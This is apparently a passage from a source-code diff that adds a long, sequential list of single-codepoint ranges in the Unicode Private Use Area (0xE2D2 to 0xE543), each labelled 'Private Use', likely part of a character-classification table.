+ [0xe2d2, 0xe2d2], /* Private Use */
+ [0xe2d3, 0xe2d3], /* Private Use */
+ [0xe2d4, 0xe2d4], /* Private Use */
+ [0xe2d5, 0xe2d5], /* Private Use */
+ [0xe2d6, 0xe2d6], /* Private Use */
+ [0xe2d7, 0xe2d7], /* Private Use */
+ [0xe2d8, 0xe2d8], /* Private Use */
+ [0xe2d9, 0xe2d9], /* Private Use */
+ [0xe2da, 0xe2da], /* Private Use */
+ [0xe2db, 0xe2db], /* Private Use */
+ [0xe2dc, 0xe2dc], /* Private Use */
+ [0xe2dd, 0xe2dd], /* Private Use */
+ [0xe2de, 0xe2de], /* Private Use */
+ [0xe2df, 0xe2df], /* Private Use */
+ [0xe2e0, 0xe2e0], /* Private Use */
+ [0xe2e1, 0xe2e1], /* Private Use */
+ [0xe2e2, 0xe2e2], /* Private Use */
+ [0xe2e3, 0xe2e3], /* Private Use */
+ [0xe2e4, 0xe2e4], /* Private Use */
+ [0xe2e5, 0xe2e5], /* Private Use */
+ [0xe2e6, 0xe2e6], /* Private Use */
+ [0xe2e7, 0xe2e7], /* Private Use */
+ [0xe2e8, 0xe2e8], /* Private Use */
+ [0xe2e9, 0xe2e9], /* Private Use */
+ [0xe2ea, 0xe2ea], /* Private Use */
+ [0xe2eb, 0xe2eb], /* Private Use */
+ [0xe2ec, 0xe2ec], /* Private Use */
+ [0xe2ed, 0xe2ed], /* Private Use */
+ [0xe2ee, 0xe2ee], /* Private Use */
+ [0xe2ef, 0xe2ef], /* Private Use */
+ [0xe2f0, 0xe2f0], /* Private Use */
+ [0xe2f1, 0xe2f1], /* Private Use */
+ [0xe2f2, 0xe2f2], /* Private Use */
+ [0xe2f3, 0xe2f3], /* Private Use */
+ [0xe2f4, 0xe2f4], /* Private Use */
+ [0xe2f5, 0xe2f5], /* Private Use */
+ [0xe2f6, 0xe2f6], /* Private Use */
+ [0xe2f7, 0xe2f7], /* Private Use */
+ [0xe2f8, 0xe2f8], /* Private Use */
+ [0xe2f9, 0xe2f9], /* Private Use */
+ [0xe2fa, 0xe2fa], /* Private Use */
+ [0xe2fb, 0xe2fb], /* Private Use */
+ [0xe2fc, 0xe2fc], /* Private Use */
+ [0xe2fd, 0xe2fd], /* Private Use */
+ [0xe2fe, 0xe2fe], /* Private Use */
+ [0xe2ff, 0xe2ff], /* Private Use */
+ [0xe300, 0xe300], /* Private Use */
+ [0xe301, 0xe301], /* Private Use */
+ [0xe302, 0xe302], /* Private Use */
+ [0xe303, 0xe303], /* Private Use */
+ [0xe304, 0xe304], /* Private Use */
+ [0xe305, 0xe305], /* Private Use */
+ [0xe306, 0xe306], /* Private Use */
+ [0xe307, 0xe307], /* Private Use */
+ [0xe308, 0xe308], /* Private Use */
+ [0xe309, 0xe309], /* Private Use */
+ [0xe30a, 0xe30a], /* Private Use */
+ [0xe30b, 0xe30b], /* Private Use */
+ [0xe30c, 0xe30c], /* Private Use */
+ [0xe30d, 0xe30d], /* Private Use */
+ [0xe30e, 0xe30e], /* Private Use */
+ [0xe30f, 0xe30f], /* Private Use */
+ [0xe310, 0xe310], /* Private Use */
+ [0xe311, 0xe311], /* Private Use */
+ [0xe312, 0xe312], /* Private Use */
+ [0xe313, 0xe313], /* Private Use */
+ [0xe314, 0xe314], /* Private Use */
+ [0xe315, 0xe315], /* Private Use */
+ [0xe316, 0xe316], /* Private Use */
+ [0xe317, 0xe317], /* Private Use */
+ [0xe318, 0xe318], /* Private Use */
+ [0xe319, 0xe319], /* Private Use */
+ [0xe31a, 0xe31a], /* Private Use */
+ [0xe31b, 0xe31b], /* Private Use */
+ [0xe31c, 0xe31c], /* Private Use */
+ [0xe31d, 0xe31d], /* Private Use */
+ [0xe31e, 0xe31e], /* Private Use */
+ [0xe31f, 0xe31f], /* Private Use */
+ [0xe320, 0xe320], /* Private Use */
+ [0xe321, 0xe321], /* Private Use */
+ [0xe322, 0xe322], /* Private Use */
+ [0xe323, 0xe323], /* Private Use */
+ [0xe324, 0xe324], /* Private Use */
+ [0xe325, 0xe325], /* Private Use */
+ [0xe326, 0xe326], /* Private Use */
+ [0xe327, 0xe327], /* Private Use */
+ [0xe328, 0xe328], /* Private Use */
+ [0xe329, 0xe329], /* Private Use */
+ [0xe32a, 0xe32a], /* Private Use */
+ [0xe32b, 0xe32b], /* Private Use */
+ [0xe32c, 0xe32c], /* Private Use */
+ [0xe32d, 0xe32d], /* Private Use */
+ [0xe32e, 0xe32e], /* Private Use */
+ [0xe32f, 0xe32f], /* Private Use */
+ [0xe330, 0xe330], /* Private Use */
+ [0xe331, 0xe331], /* Private Use */
+ [0xe332, 0xe332], /* Private Use */
+ [0xe333, 0xe333], /* Private Use */
+ [0xe334, 0xe334], /* Private Use */
+ [0xe335, 0xe335], /* Private Use */
+ [0xe336, 0xe336], /* Private Use */
+ [0xe337, 0xe337], /* Private Use */
+ [0xe338, 0xe338], /* Private Use */
+ [0xe339, 0xe339], /* Private Use */
+ [0xe33a, 0xe33a], /* Private Use */
+ [0xe33b, 0xe33b], /* Private Use */
+ [0xe33c, 0xe33c], /* Private Use */
+ [0xe33d, 0xe33d], /* Private Use */
+ [0xe33e, 0xe33e], /* Private Use */
+ [0xe33f, 0xe33f], /* Private Use */
+ [0xe340, 0xe340], /* Private Use */
+ [0xe341, 0xe341], /* Private Use */
+ [0xe342, 0xe342], /* Private Use */
+ [0xe343, 0xe343], /* Private Use */
+ [0xe344, 0xe344], /* Private Use */
+ [0xe345, 0xe345], /* Private Use */
+ [0xe346, 0xe346], /* Private Use */
+ [0xe347, 0xe347], /* Private Use */
+ [0xe348, 0xe348], /* Private Use */
+ [0xe349, 0xe349], /* Private Use */
+ [0xe34a, 0xe34a], /* Private Use */
+ [0xe34b, 0xe34b], /* Private Use */
+ [0xe34c, 0xe34c], /* Private Use */
+ [0xe34d, 0xe34d], /* Private Use */
+ [0xe34e, 0xe34e], /* Private Use */
+ [0xe34f, 0xe34f], /* Private Use */
+ [0xe350, 0xe350], /* Private Use */
+ [0xe351, 0xe351], /* Private Use */
+ [0xe352, 0xe352], /* Private Use */
+ [0xe353, 0xe353], /* Private Use */
+ [0xe354, 0xe354], /* Private Use */
+ [0xe355, 0xe355], /* Private Use */
+ [0xe356, 0xe356], /* Private Use */
+ [0xe357, 0xe357], /* Private Use */
+ [0xe358, 0xe358], /* Private Use */
+ [0xe359, 0xe359], /* Private Use */
+ [0xe35a, 0xe35a], /* Private Use */
+ [0xe35b, 0xe35b], /* Private Use */
+ [0xe35c, 0xe35c], /* Private Use */
+ [0xe35d, 0xe35d], /* Private Use */
+ [0xe35e, 0xe35e], /* Private Use */
+ [0xe35f, 0xe35f], /* Private Use */
+ [0xe360, 0xe360], /* Private Use */
+ [0xe361, 0xe361], /* Private Use */
+ [0xe362, 0xe362], /* Private Use */
+ [0xe363, 0xe363], /* Private Use */
+ [0xe364, 0xe364], /* Private Use */
+ [0xe365, 0xe365], /* Private Use */
+ [0xe366, 0xe366], /* Private Use */
+ [0xe367, 0xe367], /* Private Use */
+ [0xe368, 0xe368], /* Private Use */
+ [0xe369, 0xe369], /* Private Use */
+ [0xe36a, 0xe36a], /* Private Use */
+ [0xe36b, 0xe36b], /* Private Use */
+ [0xe36c, 0xe36c], /* Private Use */
+ [0xe36d, 0xe36d], /* Private Use */
+ [0xe36e, 0xe36e], /* Private Use */
+ [0xe36f, 0xe36f], /* Private Use */
+ [0xe370, 0xe370], /* Private Use */
+ [0xe371, 0xe371], /* Private Use */
+ [0xe372, 0xe372], /* Private Use */
+ [0xe373, 0xe373], /* Private Use */
+ [0xe374, 0xe374], /* Private Use */
+ [0xe375, 0xe375], /* Private Use */
+ [0xe376, 0xe376], /* Private Use */
+ [0xe377, 0xe377], /* Private Use */
+ [0xe378, 0xe378], /* Private Use */
+ [0xe379, 0xe379], /* Private Use */
+ [0xe37a, 0xe37a], /* Private Use */
+ [0xe37b, 0xe37b], /* Private Use */
+ [0xe37c, 0xe37c], /* Private Use */
+ [0xe37d, 0xe37d], /* Private Use */
+ [0xe37e, 0xe37e], /* Private Use */
+ [0xe37f, 0xe37f], /* Private Use */
+ [0xe380, 0xe380], /* Private Use */
+ [0xe381, 0xe381], /* Private Use */
+ [0xe382, 0xe382], /* Private Use */
+ [0xe383, 0xe383], /* Private Use */
+ [0xe384, 0xe384], /* Private Use */
+ [0xe385, 0xe385], /* Private Use */
+ [0xe386, 0xe386], /* Private Use */
+ [0xe387, 0xe387], /* Private Use */
+ [0xe388, 0xe388], /* Private Use */
+ [0xe389, 0xe389], /* Private Use */
+ [0xe38a, 0xe38a], /* Private Use */
+ [0xe38b, 0xe38b], /* Private Use */
+ [0xe38c, 0xe38c], /* Private Use */
+ [0xe38d, 0xe38d], /* Private Use */
+ [0xe38e, 0xe38e], /* Private Use */
+ [0xe38f, 0xe38f], /* Private Use */
+ [0xe390, 0xe390], /* Private Use */
+ [0xe391, 0xe391], /* Private Use */
+ [0xe392, 0xe392], /* Private Use */
+ [0xe393, 0xe393], /* Private Use */
+ [0xe394, 0xe394], /* Private Use */
+ [0xe395, 0xe395], /* Private Use */
+ [0xe396, 0xe396], /* Private Use */
+ [0xe397, 0xe397], /* Private Use */
+ [0xe398, 0xe398], /* Private Use */
+ [0xe399, 0xe399], /* Private Use */
+ [0xe39a, 0xe39a], /* Private Use */
+ [0xe39b, 0xe39b], /* Private Use */
+ [0xe39c, 0xe39c], /* Private Use */
+ [0xe39d, 0xe39d], /* Private Use */
+ [0xe39e, 0xe39e], /* Private Use */
+ [0xe39f, 0xe39f], /* Private Use */
+ [0xe3a0, 0xe3a0], /* Private Use */
+ [0xe3a1, 0xe3a1], /* Private Use */
+ [0xe3a2, 0xe3a2], /* Private Use */
+ [0xe3a3, 0xe3a3], /* Private Use */
+ [0xe3a4, 0xe3a4], /* Private Use */
+ [0xe3a5, 0xe3a5], /* Private Use */
+ [0xe3a6, 0xe3a6], /* Private Use */
+ [0xe3a7, 0xe3a7], /* Private Use */
+ [0xe3a8, 0xe3a8], /* Private Use */
+ [0xe3a9, 0xe3a9], /* Private Use */
+ [0xe3aa, 0xe3aa], /* Private Use */
+ [0xe3ab, 0xe3ab], /* Private Use */
+ [0xe3ac, 0xe3ac], /* Private Use */
+ [0xe3ad, 0xe3ad], /* Private Use */
+ [0xe3ae, 0xe3ae], /* Private Use */
+ [0xe3af, 0xe3af], /* Private Use */
+ [0xe3b0, 0xe3b0], /* Private Use */
+ [0xe3b1, 0xe3b1], /* Private Use */
+ [0xe3b2, 0xe3b2], /* Private Use */
+ [0xe3b3, 0xe3b3], /* Private Use */
+ [0xe3b4, 0xe3b4], /* Private Use */
+ [0xe3b5, 0xe3b5], /* Private Use */
+ [0xe3b6, 0xe3b6], /* Private Use */
+ [0xe3b7, 0xe3b7], /* Private Use */
+ [0xe3b8, 0xe3b8], /* Private Use */
+ [0xe3b9, 0xe3b9], /* Private Use */
+ [0xe3ba, 0xe3ba], /* Private Use */
+ [0xe3bb, 0xe3bb], /* Private Use */
+ [0xe3bc, 0xe3bc], /* Private Use */
+ [0xe3bd, 0xe3bd], /* Private Use */
+ [0xe3be, 0xe3be], /* Private Use */
+ [0xe3bf, 0xe3bf], /* Private Use */
+ [0xe3c0, 0xe3c0], /* Private Use */
+ [0xe3c1, 0xe3c1], /* Private Use */
+ [0xe3c2, 0xe3c2], /* Private Use */
+ [0xe3c3, 0xe3c3], /* Private Use */
+ [0xe3c4, 0xe3c4], /* Private Use */
+ [0xe3c5, 0xe3c5], /* Private Use */
+ [0xe3c6, 0xe3c6], /* Private Use */
+ [0xe3c7, 0xe3c7], /* Private Use */
+ [0xe3c8, 0xe3c8], /* Private Use */
+ [0xe3c9, 0xe3c9], /* Private Use */
+ [0xe3ca, 0xe3ca], /* Private Use */
+ [0xe3cb, 0xe3cb], /* Private Use */
+ [0xe3cc, 0xe3cc], /* Private Use */
+ [0xe3cd, 0xe3cd], /* Private Use */
+ [0xe3ce, 0xe3ce], /* Private Use */
+ [0xe3cf, 0xe3cf], /* Private Use */
+ [0xe3d0, 0xe3d0], /* Private Use */
+ [0xe3d1, 0xe3d1], /* Private Use */
+ [0xe3d2, 0xe3d2], /* Private Use */
+ [0xe3d3, 0xe3d3], /* Private Use */
+ [0xe3d4, 0xe3d4], /* Private Use */
+ [0xe3d5, 0xe3d5], /* Private Use */
+ [0xe3d6, 0xe3d6], /* Private Use */
+ [0xe3d7, 0xe3d7], /* Private Use */
+ [0xe3d8, 0xe3d8], /* Private Use */
+ [0xe3d9, 0xe3d9], /* Private Use */
+ [0xe3da, 0xe3da], /* Private Use */
+ [0xe3db, 0xe3db], /* Private Use */
+ [0xe3dc, 0xe3dc], /* Private Use */
+ [0xe3dd, 0xe3dd], /* Private Use */
+ [0xe3de, 0xe3de], /* Private Use */
+ [0xe3df, 0xe3df], /* Private Use */
+ [0xe3e0, 0xe3e0], /* Private Use */
+ [0xe3e1, 0xe3e1], /* Private Use */
+ [0xe3e2, 0xe3e2], /* Private Use */
+ [0xe3e3, 0xe3e3], /* Private Use */
+ [0xe3e4, 0xe3e4], /* Private Use */
+ [0xe3e5, 0xe3e5], /* Private Use */
+ [0xe3e6, 0xe3e6], /* Private Use */
+ [0xe3e7, 0xe3e7], /* Private Use */
+ [0xe3e8, 0xe3e8], /* Private Use */
+ [0xe3e9, 0xe3e9], /* Private Use */
+ [0xe3ea, 0xe3ea], /* Private Use */
+ [0xe3eb, 0xe3eb], /* Private Use */
+ [0xe3ec, 0xe3ec], /* Private Use */
+ [0xe3ed, 0xe3ed], /* Private Use */
+ [0xe3ee, 0xe3ee], /* Private Use */
+ [0xe3ef, 0xe3ef], /* Private Use */
+ [0xe3f0, 0xe3f0], /* Private Use */
+ [0xe3f1, 0xe3f1], /* Private Use */
+ [0xe3f2, 0xe3f2], /* Private Use */
+ [0xe3f3, 0xe3f3], /* Private Use */
+ [0xe3f4, 0xe3f4], /* Private Use */
+ [0xe3f5, 0xe3f5], /* Private Use */
+ [0xe3f6, 0xe3f6], /* Private Use */
+ [0xe3f7, 0xe3f7], /* Private Use */
+ [0xe3f8, 0xe3f8], /* Private Use */
+ [0xe3f9, 0xe3f9], /* Private Use */
+ [0xe3fa, 0xe3fa], /* Private Use */
+ [0xe3fb, 0xe3fb], /* Private Use */
+ [0xe3fc, 0xe3fc], /* Private Use */
+ [0xe3fd, 0xe3fd], /* Private Use */
+ [0xe3fe, 0xe3fe], /* Private Use */
+ [0xe3ff, 0xe3ff], /* Private Use */
+ [0xe400, 0xe400], /* Private Use */
+ [0xe401, 0xe401], /* Private Use */
+ [0xe402, 0xe402], /* Private Use */
+ [0xe403, 0xe403], /* Private Use */
+ [0xe404, 0xe404], /* Private Use */
+ [0xe405, 0xe405], /* Private Use */
+ [0xe406, 0xe406], /* Private Use */
+ [0xe407, 0xe407], /* Private Use */
+ [0xe408, 0xe408], /* Private Use */
+ [0xe409, 0xe409], /* Private Use */
+ [0xe40a, 0xe40a], /* Private Use */
+ [0xe40b, 0xe40b], /* Private Use */
+ [0xe40c, 0xe40c], /* Private Use */
+ [0xe40d, 0xe40d], /* Private Use */
+ [0xe40e, 0xe40e], /* Private Use */
+ [0xe40f, 0xe40f], /* Private Use */
+ [0xe410, 0xe410], /* Private Use */
+ [0xe411, 0xe411], /* Private Use */
+ [0xe412, 0xe412], /* Private Use */
+ [0xe413, 0xe413], /* Private Use */
+ [0xe414, 0xe414], /* Private Use */
+ [0xe415, 0xe415], /* Private Use */
+ [0xe416, 0xe416], /* Private Use */
+ [0xe417, 0xe417], /* Private Use */
+ [0xe418, 0xe418], /* Private Use */
+ [0xe419, 0xe419], /* Private Use */
+ [0xe41a, 0xe41a], /* Private Use */
+ [0xe41b, 0xe41b], /* Private Use */
+ [0xe41c, 0xe41c], /* Private Use */
+ [0xe41d, 0xe41d], /* Private Use */
+ [0xe41e, 0xe41e], /* Private Use */
+ [0xe41f, 0xe41f], /* Private Use */
+ [0xe420, 0xe420], /* Private Use */
+ [0xe421, 0xe421], /* Private Use */
+ [0xe422, 0xe422], /* Private Use */
+ [0xe423, 0xe423], /* Private Use */
+ [0xe424, 0xe424], /* Private Use */
+ [0xe425, 0xe425], /* Private Use */
+ [0xe426, 0xe426], /* Private Use */
+ [0xe427, 0xe427], /* Private Use */
+ [0xe428, 0xe428], /* Private Use */
+ [0xe429, 0xe429], /* Private Use */
+ [0xe42a, 0xe42a], /* Private Use */
+ [0xe42b, 0xe42b], /* Private Use */
+ [0xe42c, 0xe42c], /* Private Use */
+ [0xe42d, 0xe42d], /* Private Use */
+ [0xe42e, 0xe42e], /* Private Use */
+ [0xe42f, 0xe42f], /* Private Use */
+ [0xe430, 0xe430], /* Private Use */
+ [0xe431, 0xe431], /* Private Use */
+ [0xe432, 0xe432], /* Private Use */
+ [0xe433, 0xe433], /* Private Use */
+ [0xe434, 0xe434], /* Private Use */
+ [0xe435, 0xe435], /* Private Use */
+ [0xe436, 0xe436], /* Private Use */
+ [0xe437, 0xe437], /* Private Use */
+ [0xe438, 0xe438], /* Private Use */
+ [0xe439, 0xe439], /* Private Use */
+ [0xe43a, 0xe43a], /* Private Use */
+ [0xe43b, 0xe43b], /* Private Use */
+ [0xe43c, 0xe43c], /* Private Use */
+ [0xe43d, 0xe43d], /* Private Use */
+ [0xe43e, 0xe43e], /* Private Use */
+ [0xe43f, 0xe43f], /* Private Use */
+ [0xe440, 0xe440], /* Private Use */
+ [0xe441, 0xe441], /* Private Use */
+ [0xe442, 0xe442], /* Private Use */
+ [0xe443, 0xe443], /* Private Use */
+ [0xe444, 0xe444], /* Private Use */
+ [0xe445, 0xe445], /* Private Use */
+ [0xe446, 0xe446], /* Private Use */
+ [0xe447, 0xe447], /* Private Use */
+ [0xe448, 0xe448], /* Private Use */
+ [0xe449, 0xe449], /* Private Use */
+ [0xe44a, 0xe44a], /* Private Use */
+ [0xe44b, 0xe44b], /* Private Use */
+ [0xe44c, 0xe44c], /* Private Use */
+ [0xe44d, 0xe44d], /* Private Use */
+ [0xe44e, 0xe44e], /* Private Use */
+ [0xe44f, 0xe44f], /* Private Use */
+ [0xe450, 0xe450], /* Private Use */
+ [0xe451, 0xe451], /* Private Use */
+ [0xe452, 0xe452], /* Private Use */
+ [0xe453, 0xe453], /* Private Use */
+ [0xe454, 0xe454], /* Private Use */
+ [0xe455, 0xe455], /* Private Use */
+ [0xe456, 0xe456], /* Private Use */
+ [0xe457, 0xe457], /* Private Use */
+ [0xe458, 0xe458], /* Private Use */
+ [0xe459, 0xe459], /* Private Use */
+ [0xe45a, 0xe45a], /* Private Use */
+ [0xe45b, 0xe45b], /* Private Use */
+ [0xe45c, 0xe45c], /* Private Use */
+ [0xe45d, 0xe45d], /* Private Use */
+ [0xe45e, 0xe45e], /* Private Use */
+ [0xe45f, 0xe45f], /* Private Use */
+ [0xe460, 0xe460], /* Private Use */
+ [0xe461, 0xe461], /* Private Use */
+ [0xe462, 0xe462], /* Private Use */
+ [0xe463, 0xe463], /* Private Use */
+ [0xe464, 0xe464], /* Private Use */
+ [0xe465, 0xe465], /* Private Use */
+ [0xe466, 0xe466], /* Private Use */
+ [0xe467, 0xe467], /* Private Use */
+ [0xe468, 0xe468], /* Private Use */
+ [0xe469, 0xe469], /* Private Use */
+ [0xe46a, 0xe46a], /* Private Use */
+ [0xe46b, 0xe46b], /* Private Use */
+ [0xe46c, 0xe46c], /* Private Use */
+ [0xe46d, 0xe46d], /* Private Use */
+ [0xe46e, 0xe46e], /* Private Use */
+ [0xe46f, 0xe46f], /* Private Use */
+ [0xe470, 0xe470], /* Private Use */
+ [0xe471, 0xe471], /* Private Use */
+ [0xe472, 0xe472], /* Private Use */
+ [0xe473, 0xe473], /* Private Use */
+ [0xe474, 0xe474], /* Private Use */
+ [0xe475, 0xe475], /* Private Use */
+ [0xe476, 0xe476], /* Private Use */
+ [0xe477, 0xe477], /* Private Use */
+ [0xe478, 0xe478], /* Private Use */
+ [0xe479, 0xe479], /* Private Use */
+ [0xe47a, 0xe47a], /* Private Use */
+ [0xe47b, 0xe47b], /* Private Use */
+ [0xe47c, 0xe47c], /* Private Use */
+ [0xe47d, 0xe47d], /* Private Use */
+ [0xe47e, 0xe47e], /* Private Use */
+ [0xe47f, 0xe47f], /* Private Use */
+ [0xe480, 0xe480], /* Private Use */
+ [0xe481, 0xe481], /* Private Use */
+ [0xe482, 0xe482], /* Private Use */
+ [0xe483, 0xe483], /* Private Use */
+ [0xe484, 0xe484], /* Private Use */
+ [0xe485, 0xe485], /* Private Use */
+ [0xe486, 0xe486], /* Private Use */
+ [0xe487, 0xe487], /* Private Use */
+ [0xe488, 0xe488], /* Private Use */
+ [0xe489, 0xe489], /* Private Use */
+ [0xe48a, 0xe48a], /* Private Use */
+ [0xe48b, 0xe48b], /* Private Use */
+ [0xe48c, 0xe48c], /* Private Use */
+ [0xe48d, 0xe48d], /* Private Use */
+ [0xe48e, 0xe48e], /* Private Use */
+ [0xe48f, 0xe48f], /* Private Use */
+ [0xe490, 0xe490], /* Private Use */
+ [0xe491, 0xe491], /* Private Use */
+ [0xe492, 0xe492], /* Private Use */
+ [0xe493, 0xe493], /* Private Use */
+ [0xe494, 0xe494], /* Private Use */
+ [0xe495, 0xe495], /* Private Use */
+ [0xe496, 0xe496], /* Private Use */
+ [0xe497, 0xe497], /* Private Use */
+ [0xe498, 0xe498], /* Private Use */
+ [0xe499, 0xe499], /* Private Use */
+ [0xe49a, 0xe49a], /* Private Use */
+ [0xe49b, 0xe49b], /* Private Use */
+ [0xe49c, 0xe49c], /* Private Use */
+ [0xe49d, 0xe49d], /* Private Use */
+ [0xe49e, 0xe49e], /* Private Use */
+ [0xe49f, 0xe49f], /* Private Use */
+ [0xe4a0, 0xe4a0], /* Private Use */
+ [0xe4a1, 0xe4a1], /* Private Use */
+ [0xe4a2, 0xe4a2], /* Private Use */
+ [0xe4a3, 0xe4a3], /* Private Use */
+ [0xe4a4, 0xe4a4], /* Private Use */
+ [0xe4a5, 0xe4a5], /* Private Use */
+ [0xe4a6, 0xe4a6], /* Private Use */
+ [0xe4a7, 0xe4a7], /* Private Use */
+ [0xe4a8, 0xe4a8], /* Private Use */
+ [0xe4a9, 0xe4a9], /* Private Use */
+ [0xe4aa, 0xe4aa], /* Private Use */
+ [0xe4ab, 0xe4ab], /* Private Use */
+ [0xe4ac, 0xe4ac], /* Private Use */
+ [0xe4ad, 0xe4ad], /* Private Use */
+ [0xe4ae, 0xe4ae], /* Private Use */
+ [0xe4af, 0xe4af], /* Private Use */
+ [0xe4b0, 0xe4b0], /* Private Use */
+ [0xe4b1, 0xe4b1], /* Private Use */
+ [0xe4b2, 0xe4b2], /* Private Use */
+ [0xe4b3, 0xe4b3], /* Private Use */
+ [0xe4b4, 0xe4b4], /* Private Use */
+ [0xe4b5, 0xe4b5], /* Private Use */
+ [0xe4b6, 0xe4b6], /* Private Use */
+ [0xe4b7, 0xe4b7], /* Private Use */
+ [0xe4b8, 0xe4b8], /* Private Use */
+ [0xe4b9, 0xe4b9], /* Private Use */
+ [0xe4ba, 0xe4ba], /* Private Use */
+ [0xe4bb, 0xe4bb], /* Private Use */
+ [0xe4bc, 0xe4bc], /* Private Use */
+ [0xe4bd, 0xe4bd], /* Private Use */
+ [0xe4be, 0xe4be], /* Private Use */
+ [0xe4bf, 0xe4bf], /* Private Use */
+ [0xe4c0, 0xe4c0], /* Private Use */
+ [0xe4c1, 0xe4c1], /* Private Use */
+ [0xe4c2, 0xe4c2], /* Private Use */
+ [0xe4c3, 0xe4c3], /* Private Use */
+ [0xe4c4, 0xe4c4], /* Private Use */
+ [0xe4c5, 0xe4c5], /* Private Use */
+ [0xe4c6, 0xe4c6], /* Private Use */
+ [0xe4c7, 0xe4c7], /* Private Use */
+ [0xe4c8, 0xe4c8], /* Private Use */
+ [0xe4c9, 0xe4c9], /* Private Use */
+ [0xe4ca, 0xe4ca], /* Private Use */
+ [0xe4cb, 0xe4cb], /* Private Use */
+ [0xe4cc, 0xe4cc], /* Private Use */
+ [0xe4cd, 0xe4cd], /* Private Use */
+ [0xe4ce, 0xe4ce], /* Private Use */
+ [0xe4cf, 0xe4cf], /* Private Use */
+ [0xe4d0, 0xe4d0], /* Private Use */
+ [0xe4d1, 0xe4d1], /* Private Use */
+ [0xe4d2, 0xe4d2], /* Private Use */
+ [0xe4d3, 0xe4d3], /* Private Use */
+ [0xe4d4, 0xe4d4], /* Private Use */
+ [0xe4d5, 0xe4d5], /* Private Use */
+ [0xe4d6, 0xe4d6], /* Private Use */
+ [0xe4d7, 0xe4d7], /* Private Use */
+ [0xe4d8, 0xe4d8], /* Private Use */
+ [0xe4d9, 0xe4d9], /* Private Use */
+ [0xe4da, 0xe4da], /* Private Use */
+ [0xe4db, 0xe4db], /* Private Use */
+ [0xe4dc, 0xe4dc], /* Private Use */
+ [0xe4dd, 0xe4dd], /* Private Use */
+ [0xe4de, 0xe4de], /* Private Use */
+ [0xe4df, 0xe4df], /* Private Use */
+ [0xe4e0, 0xe4e0], /* Private Use */
+ [0xe4e1, 0xe4e1], /* Private Use */
+ [0xe4e2, 0xe4e2], /* Private Use */
+ [0xe4e3, 0xe4e3], /* Private Use */
+ [0xe4e4, 0xe4e4], /* Private Use */
+ [0xe4e5, 0xe4e5], /* Private Use */
+ [0xe4e6, 0xe4e6], /* Private Use */
+ [0xe4e7, 0xe4e7], /* Private Use */
+ [0xe4e8, 0xe4e8], /* Private Use */
+ [0xe4e9, 0xe4e9], /* Private Use */
+ [0xe4ea, 0xe4ea], /* Private Use */
+ [0xe4eb, 0xe4eb], /* Private Use */
+ [0xe4ec, 0xe4ec], /* Private Use */
+ [0xe4ed, 0xe4ed], /* Private Use */
+ [0xe4ee, 0xe4ee], /* Private Use */
+ [0xe4ef, 0xe4ef], /* Private Use */
+ [0xe4f0, 0xe4f0], /* Private Use */
+ [0xe4f1, 0xe4f1], /* Private Use */
+ [0xe4f2, 0xe4f2], /* Private Use */
+ [0xe4f3, 0xe4f3], /* Private Use */
+ [0xe4f4, 0xe4f4], /* Private Use */
+ [0xe4f5, 0xe4f5], /* Private Use */
+ [0xe4f6, 0xe4f6], /* Private Use */
+ [0xe4f7, 0xe4f7], /* Private Use */
+ [0xe4f8, 0xe4f8], /* Private Use */
+ [0xe4f9, 0xe4f9], /* Private Use */
+ [0xe4fa, 0xe4fa], /* Private Use */
+ [0xe4fb, 0xe4fb], /* Private Use */
+ [0xe4fc, 0xe4fc], /* Private Use */
+ [0xe4fd, 0xe4fd], /* Private Use */
+ [0xe4fe, 0xe4fe], /* Private Use */
+ [0xe4ff, 0xe4ff], /* Private Use */
+ [0xe500, 0xe500], /* Private Use */
+ [0xe501, 0xe501], /* Private Use */
+ [0xe502, 0xe502], /* Private Use */
+ [0xe503, 0xe503], /* Private Use */
+ [0xe504, 0xe504], /* Private Use */
+ [0xe505, 0xe505], /* Private Use */
+ [0xe506, 0xe506], /* Private Use */
+ [0xe507, 0xe507], /* Private Use */
+ [0xe508, 0xe508], /* Private Use */
+ [0xe509, 0xe509], /* Private Use */
+ [0xe50a, 0xe50a], /* Private Use */
+ [0xe50b, 0xe50b], /* Private Use */
+ [0xe50c, 0xe50c], /* Private Use */
+ [0xe50d, 0xe50d], /* Private Use */
+ [0xe50e, 0xe50e], /* Private Use */
+ [0xe50f, 0xe50f], /* Private Use */
+ [0xe510, 0xe510], /* Private Use */
+ [0xe511, 0xe511], /* Private Use */
+ [0xe512, 0xe512], /* Private Use */
+ [0xe513, 0xe513], /* Private Use */
+ [0xe514, 0xe514], /* Private Use */
+ [0xe515, 0xe515], /* Private Use */
+ [0xe516, 0xe516], /* Private Use */
+ [0xe517, 0xe517], /* Private Use */
+ [0xe518, 0xe518], /* Private Use */
+ [0xe519, 0xe519], /* Private Use */
+ [0xe51a, 0xe51a], /* Private Use */
+ [0xe51b, 0xe51b], /* Private Use */
+ [0xe51c, 0xe51c], /* Private Use */
+ [0xe51d, 0xe51d], /* Private Use */
+ [0xe51e, 0xe51e], /* Private Use */
+ [0xe51f, 0xe51f], /* Private Use */
+ [0xe520, 0xe520], /* Private Use */
+ [0xe521, 0xe521], /* Private Use */
+ [0xe522, 0xe522], /* Private Use */
+ [0xe523, 0xe523], /* Private Use */
+ [0xe524, 0xe524], /* Private Use */
+ [0xe525, 0xe525], /* Private Use */
+ [0xe526, 0xe526], /* Private Use */
+ [0xe527, 0xe527], /* Private Use */
+ [0xe528, 0xe528], /* Private Use */
+ [0xe529, 0xe529], /* Private Use */
+ [0xe52a, 0xe52a], /* Private Use */
+ [0xe52b, 0xe52b], /* Private Use */
+ [0xe52c, 0xe52c], /* Private Use */
+ [0xe52d, 0xe52d], /* Private Use */
+ [0xe52e, 0xe52e], /* Private Use */
+ [0xe52f, 0xe52f], /* Private Use */
+ [0xe530, 0xe530], /* Private Use */
+ [0xe531, 0xe531], /* Private Use */
+ [0xe532, 0xe532], /* Private Use */
+ [0xe533, 0xe533], /* Private Use */
+ [0xe534, 0xe534], /* Private Use */
+ [0xe535, 0xe535], /* Private Use */
+ [0xe536, 0xe536], /* Private Use */
+ [0xe537, 0xe537], /* Private Use */
+ [0xe538, 0xe538], /* Private Use */
+ [0xe539, 0xe539], /* Private Use */
+ [0xe53a, 0xe53a], /* Private Use */
+ [0xe53b, 0xe53b], /* Private Use */
+ [0xe53c, 0xe53c], /* Private Use */
+ [0xe53d, 0xe53d], /* Private Use */
+ [0xe53e, 0xe53e], /* Private Use */
+ [0xe53f, 0xe53f], /* Private Use */
+ [0xe540, 0xe540], /* Private Use */
+ [0xe541, 0xe541], /* Private Use */
+ [0xe542, 0xe542], /* Private Use */
+ [0xe543, 0xe543], /* Private Use */
